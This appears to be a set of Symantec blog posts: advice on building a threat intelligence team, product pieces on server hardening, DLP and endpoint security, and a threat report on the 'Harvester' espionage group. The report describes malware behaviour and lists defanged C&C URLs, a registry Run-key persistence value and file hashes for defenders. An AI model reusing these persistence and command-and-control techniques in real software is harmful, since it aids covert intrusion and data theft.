Imagine an organization that received an extortion email demanding cryptocurrency to avoid a DDoS attack. While I recommend against paying ransom in nearly all cases, you need to know whether the threat came from a viable threat actor in order to make a proper risk assessment and determine the best course of action. A very credible threat against a critical system that might result in deaths (i.e., hospital systems) may warrant a payment. Conversely, paying a threat actor who poses no credible threat will likely embolden other to launch copycat attacks. Reliable intelligence empowers the targeted organization in this scenario to make informed decisions regarding the risk/reward of paying the ransom.
This is why I believe the director of your Threat Intelligence Team needs to be a seasoned intelligence professional. Ideally, they will have a signals intelligence (SIGINT) or human intelligence (HUMINT) background, along with demonstrated skills in fused intelligence, executive communications, and cyber operations.
This is neither an easy hire nor a cheap one. But this is the person who will most impact the success or failure of your threat intelligence initiative. In other words, this is a hire you cannot afford to get wrong.
The mindset of an intelligence analyst, and the role they play, is diametrically opposed to someone with a traditional information security background (e.g., incident response).
What’s more, plucking gifted needles from the haystack of Intelligence Community (IC) candidates with seemingly impressive resumes requires intimate knowledge of the various organizations within the IC – including 17 different intelligence agencies and all five branches of the military.
How should you assemble a threat intelligence team? There is no single answer to the question, but I think inquisitiveness is the single-most important trait to seek out in anyone filling an intelligence role.
People who consistently ask “how?” and “why?” when presented with new information are going to have the passion to seek answers that go beyond just checking boxes. As for specific roles, threat intelligence teams need to mix data science, computer science, network engineering, reverse engineering/hacking, and traditional intelligence analysis and reporting skillsets. Expecting to find unicorns who are great all, or even many, of these skills is unrealistic.
A more reasonable path is to assemble a team of specialists who can do what they do better than anyone, and can demonstrate that either through past work or in an interview process. Some candidates will have skills in more than one area, but there are no human equivalents to the Swiss Army knife. I also recommend a dedicated editor, although it is common for a senior analyst (or several) to handle those duties.
The mindset of an intelligence analyst, and the role they play, is diametrically opposed to someone with a traditional information security background.
What Tools and Inputs are Required?
Once the team is assembled, the question turns to what inputs will be consumed and processed, and how? Assuming your Director has assembled a staff consisting of the right mix of analysts, researchers, and reporters to properly support the demands of your organization, here is what that team will need to succeed.
-Threat Intelligence Platform (TIP): It’s highly desirable to start with a TIP. This will be the hub for all inputs into the intelligence team, including open source news, ISAC information, intelligence feeds, and network data. While a team can work without a TIP, the efficiencies gained through the use of a TIP will result in a more agile intelligence team capable of turning intelligence into action far more efficiently.
-Network Data: The Threat Intelligence team needs to have unfettered access to all network data, much like an Insider Threat program might. As intelligence is highly dependent on access to data, the more the Threat Intelligence Team can access the better the results will be
-Open Source Data/Information: News, journals, blogs, and social media (among other sources) can be ingested into the TIP with the intent of correlating what is being seen and reported outside of our networks with the network data the threat intelligence team has access to
-Information Sharing and Analysis Center (ISAC) Information: ISAC’s provide information that is often very relevant to our specific industry, but it is important to note that the information is often not well-vetted. This should be treated as valuable, but not as gospel. Integrating this information into the TIP can be useful for an indications and warnings (I&W) program, as the first indication of an attack campaign is often the earliest reported victims.
-Third Party Intelligence Vendors: The most cost-effective way to add intelligence to a team is to work with vendors who already have access to network data and offer reporting on their findings. A professionalized Threat Intelligence program should employ 3-5 vendors providing data feeds (indicators of compromise with context) and finished intelligence products. Ideally, those vendors will have some overlap, to improve confidence levels, but no more than 25%. Additionally, vendors who focus in areas beyond network telemetry (e.g., Dark Web, Open Source) are a vital complement to net-centric intelligence.
-Reporting Tools: Microsoft Office products (Word, Excel, PowerPoint, etc.), in conjunction with network mapping and visualization tools, provide a robust toolbox for reporting intelligence at minimal cost. More mature organizations may choose to develop customized tools to more directly integrate their threat intelligence into cyber defenses.
The combination of top talent and superior access to data and information is the engine that drives intelligence production. Take the time to choose wisely. Shortcuts will cost more than you can imagine and trying to save in the short-term could very well cost you dearly in the long-run.
Liked this blog? You also may be interested in this one: 4 Things You May be Doing Wrong with Threat Intelligence
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Hardening Doesn’t Have To Be Hard
Symantec Data Center Security makes it simple and effective
Hardening your systems remains one of the most effective things you can do to prevent successful attacks. But it’s not easy to do. Computers are dynamic about both what they do on the network and the software they need to run. Hardening can shut down business processes, interfere with productivity, stop legitimate apps from running. And the solutions from security vendors usually require you to spend time and resources customizing their configuration and constantly monitoring and adapting to changes in the network and on the system. Until there is a technological breakthrough, we will all continue to see low adoption of hardening for general purpose computers.
The Exception
There is an exception to this. Servers. Most servers have a single, well understood function. They can be hardened because they are not dynamic in what programs they run or what they do on a network. But this still requires an understanding of the OS and primary applications. And IT still needs to configure the system and security products accordingly.
There is a solution for you: Symantec Data Center Security (DCS) proactively secures and hardens servers for common applications with its default policies. They are built by Symantec security experts to make hardening simple and effective.
There is a solution for you: Symantec Data Center Security (DCS) proactively secures and hardens servers for common applications with its default policies.
And it works as advertised. The recent attacks against Microsoft Exchange servers leveraged four different zero-day vulnerabilities. While attacks using these vulnerabilities started out from a single threat actor and were limited and targeted, once the vulnerabilities became known a large number of threat actors jumped in to take advantage of the vulnerabilities, trying to get ahead of patching efforts. DCS customers however did not have to worry.
The Intrusion Prevention feature of DCS, with its default policies, provided zero-day protection against the deployment of web shells used in these attacks. Protection against this and other zero-day attacks comes standard, with zero effort from the admins. Hardening without expensive configuration. I think this is the future.
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Harnessing Symantec’s DLP Integration with Microsoft Information Protection
Increasing customer control over critical data
Ever since Symantec, a division of Broadcom (NASDAQ: AVGO), was acquired last November, we have been investing to meet the changing demands of our enterprise customers, and focused on an industry-leading, integrated cyber defense platform to protect them. The most recent example is the engineering work we’ve done to ensure that Symantec’s Data Loss Prevention (DLP) works smoothly in concert with Microsoft Information Protection (MIP).
Symantec DLP is an essential tool to help businesses keep their critical information secure even when employees - many of whom are now using unmanaged devices - access corporate resources from outside of the office. This capability is even more essential today as many enterprises have their employees working from home in order to lower their risk of infection from COVID-19.
We came up with a technical solution that allows customers to use Microsoft Information Protection while still allowing Symantec DLP to inspect encrypted content.
But customers often deploy a variety of security applications, instead of one, as they build out their network defenses. That sometimes leads to situations where different technologies from different companies get in the way of what ought to be a seamless user experience.
For instance, when organizations deployed MIP to encrypt their data, their documents were no longer visible to Symantec DLP. That worked to nobody’s advantage because it left customers vulnerable to potential loss of sensitive information that may have been embedded inside the encrypted documents.
Improving the Customer Experience
Customers reached out and asked us to remedy the situation and that’s just what we did. We came up with a technical solution that allows customers to use Microsoft Information Protection while still allowing Symantec DLP to inspect encrypted content. This makes sure that sensitive data remains securely within the corporate network and also ensures continued regulatory compliance.
The latter point is also something we hear often from our largest customers who need to comply with the enactment of the more stringent regulations governing data privacy protection being enacted across the globe such as SOX, HIPAA and GDPR. Organizations need to be able to thwart unauthorized attempts to share documents containing sensitive data over email or to unsanctioned file sharing sites.
A Real World Scenario
Here’s an example. Let’s say a user attempts to share a Word document with an unauthorized partner that has been previously classified and encrypted by MIP. Symantec DLP will automatically decrypt such documents, inspect its content based on their existing DLP policies, and prevent the email from being sent if it violates such policies. It will also block any attempt to share the same document using an unsanctioned file-sharing site or by inviting an external party to collaborate on the document on the corporate OneDrive.
In each instance, Symantec DLP will block the attempts and notify administrators each time it registers policy violations around the sharing of sensitive corporate data.
Better Together
Symantec and Microsoft together help enterprises protect their sensitive data wherever it lives and travels with the deepest data discovery and protection available in the industry. Customers can now take full advantage of Symantec Data Loss Prevention’s powerful content inspection engine combined with the broad classification and encryption capabilities provided by MIP. The integrated solution gives customers the ability to detect and read MIP-labeled and -protected documents and emails. In the upcoming release, customers will also be able to automatically suggest and enforce MIP labels for sensitive and personal data with greater accuracy based on their DLP policies.
Customers can now take full advantage of Symantec Data Loss Prevention’s powerful content inspection engine combined with the broad classification and encryption capabilities provided by MIP.
Ultimately, this is what a best in class Symantec DLP solution does: it allows you to discover, monitor and protect your sensitive data leveraging our industry-leading content detection technologies while managing all of your policies in one central place regardless if documents are protected with Microsoft MIP or not. This speaks to Symantec’s larger commitment: We will continue to work with strategic partners, supporting our overarching goal of helping our customers remain secure. It’s why we are the best DLP solution in the business.
Symantec DLP Integration with Microsoft Information Protection
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Harnessing the Power of SES Complete
A step-by-step guide to exploiting the potential of SESC
Symantec Endpoint Security (SES) Complete is one of the most powerful endpoint security products in the industry with many cutting edge features for preventing, detecting, analyzing, and responding to advanced threats.
Harnessing this power can be a bit overwhelming for anyone who wants to take advantage of the numerous options for hunting, analyzing telemetry data, and remediating threats.
That’s why I authored the white paper, “How Symantec Endpoint Security Complete Helps Detect, Investigate and Respond to Advanced Attacks”. As a Senior Technical Director and Cyber Analytic Lead at Symantec, I use SES Complete every day. I study attacks and how to use SES Complete to stop them. This practice gives me real-world experience with the best way to use SES Complete. And I want to share that knowledge.
Demonstrating the protection potential of the advanced technologies in our endpoint solution, the paper shows what SES Complete can do when the full array of its capabilities are deployed against specific threats. The tips and tricks described are meant to help your SOC teams take advantage of this potent tool.
Starting with a realistic attack, the paper provides a step-by-step guide on how to best use SES Complete’s extensive hunting, investigation and remediation capabilities, including:
Using Adaptive Protection to customize security to your organization, closing down attack avenues before they can be exploited.
Seeing how an attack unfolds in clear MITRE ATT&CK language as well as low level details of how a technique was implemented.
Understanding the techniques used in the attack, plus details about how the attack unfolded. With this information, you will know what data was compromised, how to best remediate the threat, and how to prevent similar attacks in the future.
Performing custom investigation and remediation using Live Shell, allowing you to use whatever tools you prefer to gather memory dumps, perform custom remediation, or anything else.
Writing your own custom protection.
It’s one thing to own one of the most powerful Endpoint protection tools on the market today. It’s quite another to take full advantage of it. I hope customers with a learn@broadcom account will check out the paper and put SES Complete to work for you today.
DOWNLOAD THE PAPER
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Harvester: Nation-State-Backed Group Uses New Toolset to Target Victims in South Asia
Previously unseen attack group targets victims in the IT, telecoms, and government sectors in espionage campaign.
A previously unseen actor, likely nation-state-backed, is targeting organizations in South Asia, with a focus on Afghanistan, in what appears to be an information-stealing campaign using a new toolset.
The Harvester group uses both custom malware and publicly available tools in its attacks, which began in June 2021, with the most recent activity seen in October 2021. Sectors targeted include telecommunications, government, and information technology (IT). The capabilities of the tools, their custom development, and the victims targeted, all suggest that Harvester is a nation-state-backed actor.
New toolset deployed
The most notable thing about this campaign is the previously unseen toolset deployed by the attackers.
The attackers deployed a custom backdoor called Backdoor.Graphon on victim machines alongside other downloaders and screenshot tools that provided the attackers with remote access and allowed them to spy on user activities and exfiltrate information.
We do not know the initial infection vector that Harvester used to compromise victim networks, but the first evidence we found of Harvester activity on victim machines was a malicious URL. The group then started to deploy various tools, including its custom Graphon backdoor, to gain remote access to the network. The group also tried to blend its activity in with legitimate network traffic by leveraging legitimate CloudFront and Microsoft infrastructure for its command and control (C&C) activity.
Tools used:
Backdoor.Graphon - custom backdoor that uses Microsoft infrastructure for its C&C activity
Custom Downloader - uses Microsoft infrastructure for its C&C activity
Custom Screenshotter - periodically logs screenshots to a file
Cobalt Strike Beacon - uses CloudFront infrastructure for its C&C activity (Cobalt Strike is an off-the-shelf tool that can be used to execute commands, inject other processes, elevate current processes, or impersonate other processes, and upload and download files)
Metasploit - an off-the-shelf modular framework that can be used for a variety of malicious purposes on victim machines, including privilege escalation, screen capture, to set up a persistent backdoor, and more.
The custom downloader used by the attackers leverages the Costura Assembly Loader. Once on a victim machine, it checks if the following file exists:
[ARTEFACTS_FOLDER]\winser.dll
If the file does not exist it downloads a copy from the following URL:
hxxps://outportal[.]azurewebsites.net/api/Values_V2/Getting3210
Next, the sample creates the following file if it does not exist:
"[ARTEFACTS_FOLDER]\Microsoft Services[.]vbs"
Then it sets the following registry value to create a loadpoint:
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\"MicrosoftSystemServices" = "[ARTEFACTS_FOLDER]\Microsoft Services[.]vbs"
Finally it opens an embedded web browser within its own UI using the following URL:
hxxps://usedust[.]com
While it initially appeared that this URL may have been a loadpoint for Backdoor.Graphon, upon further investigation it appears to be a decoy to confuse any affected users.
Backdoor.Graphon is compiled as a .NET PE DLL with export “Main” and the following PDB file name:
D:\OfficeProjects\Updated Working Due to Submission\4.5\Outlook_4.5\Outlook 4.5.2 32 bit New without presistancy\NPServices\bin\x86\Debug\NPServices[.]pdb
When this is executed, it attempts to communicate with the attackers’ C&C servers, which are hosted on Microsoft infrastructure.
hxxps://microsoftmsdn[.]azurewebsites.net/api/Values_V1/AuthAsyncComplete_V1?Identity=[INFECTION_ID]
hxxps://microsoftsgraphapi[.]azurewebsites.net/api/Values_V1/AuthAsyncComplete_V1?Identity=[INFECTION_ID]
hxxps://msdnmicrosoft.azurewebsites[.]net/api/Values_V1/AuthAsyncComplete_V1?Identity=[INFECTION_ID]
The attackers then run commands to control their input stream and capture the output and error streams. They also periodically send GET requests to the C&C server, with the content of any returned messages extracted and then deleted.
Data that cmd.exe pulled from the output and error streams is encrypted and sent back to the attackers’ servers.
The custom screenshot tool was also packed with the Costura Assembly Loader. The screenshot tool takes photos that it saves to a password-protected ZIP archive for exfiltration, with all archives older than a week deleted.
Ongoing activity
While we do not have enough evidence yet to attribute Harvester’s activity to a specific nation state, the group’s use of custom backdoors, the extensive steps taken to hide its malicious activity, and its targeting all point to it being a state-sponsored actor. Harvester’s use of legitimate infrastructure to host its C&C servers in order to blend in with normal network traffic is one example of the stealthy steps taken by this actor.
The targeting of organizations in Afghanistan in this campaign is also interesting given the huge upheaval seen in that country recently. The activity carried out by Harvester makes it clear the purpose of this campaign is espionage, which is the typical motivation behind nation-state-backed activity.
That Harvester’s most recent activity was seen earlier this month means that organizations in the sectors and geographies mentioned should be alert to the malicious activity outlined in this blog.
Protection
File based:
Backdoor.Graphon
For the latest protection updates, please visit the Symantec Protection Bulletin.
Indicators of Compromise
0740cc87a7d028ad45a3d54540b91c4d90b6fc54d83bb01842cf23348b25bc42
303f93cc47c58e64665f9e447ac11efe5b83f0cfe4253f3ff62dd7504ee935e0
3c34c23aef8934651937c31be7420d2fc8a22ca260f5afdda0f08f4d3730ae59
3c8fa5cc50eb678d9353c9f94430eeaa74b36270c13ba094dc5c124259f0dc31
470cd1645d1da5566eef36c6e0b2a8ed510383657c4030180eb0083358813cd3
691e170c5e42dd7d488b9d47396b633a981640f8ab890032246bf37704d4d865
a4935e31150a9d6cd00c5a69b40496fea0e6b49bf76f123ea34c3b7ea6f86ce6
c4b6d7e88a63945f3e0768657e299d2d3a4087266b4fc6b1498e2435e311f5d1
cb5e40c6702e8fe9aa64405afe462b76e6fe9479196bb58118ee42aba0641c04
d84a9f7b1d70d83bd3519c4f2c108af93b307e8f7457e72e61f3fa7eb03a5f0d
f4a77e9970d53fe7467bdd963e8d1ce44a2d74e3e4262cd55bb67e7b3001c989
URL
hxxps://perfect-couple.com/perfectcouple[.]exe – sample was downloaded from this address
BLOG UPDATED 2.45pm, October 18, 2021: Minor updates made for clarity
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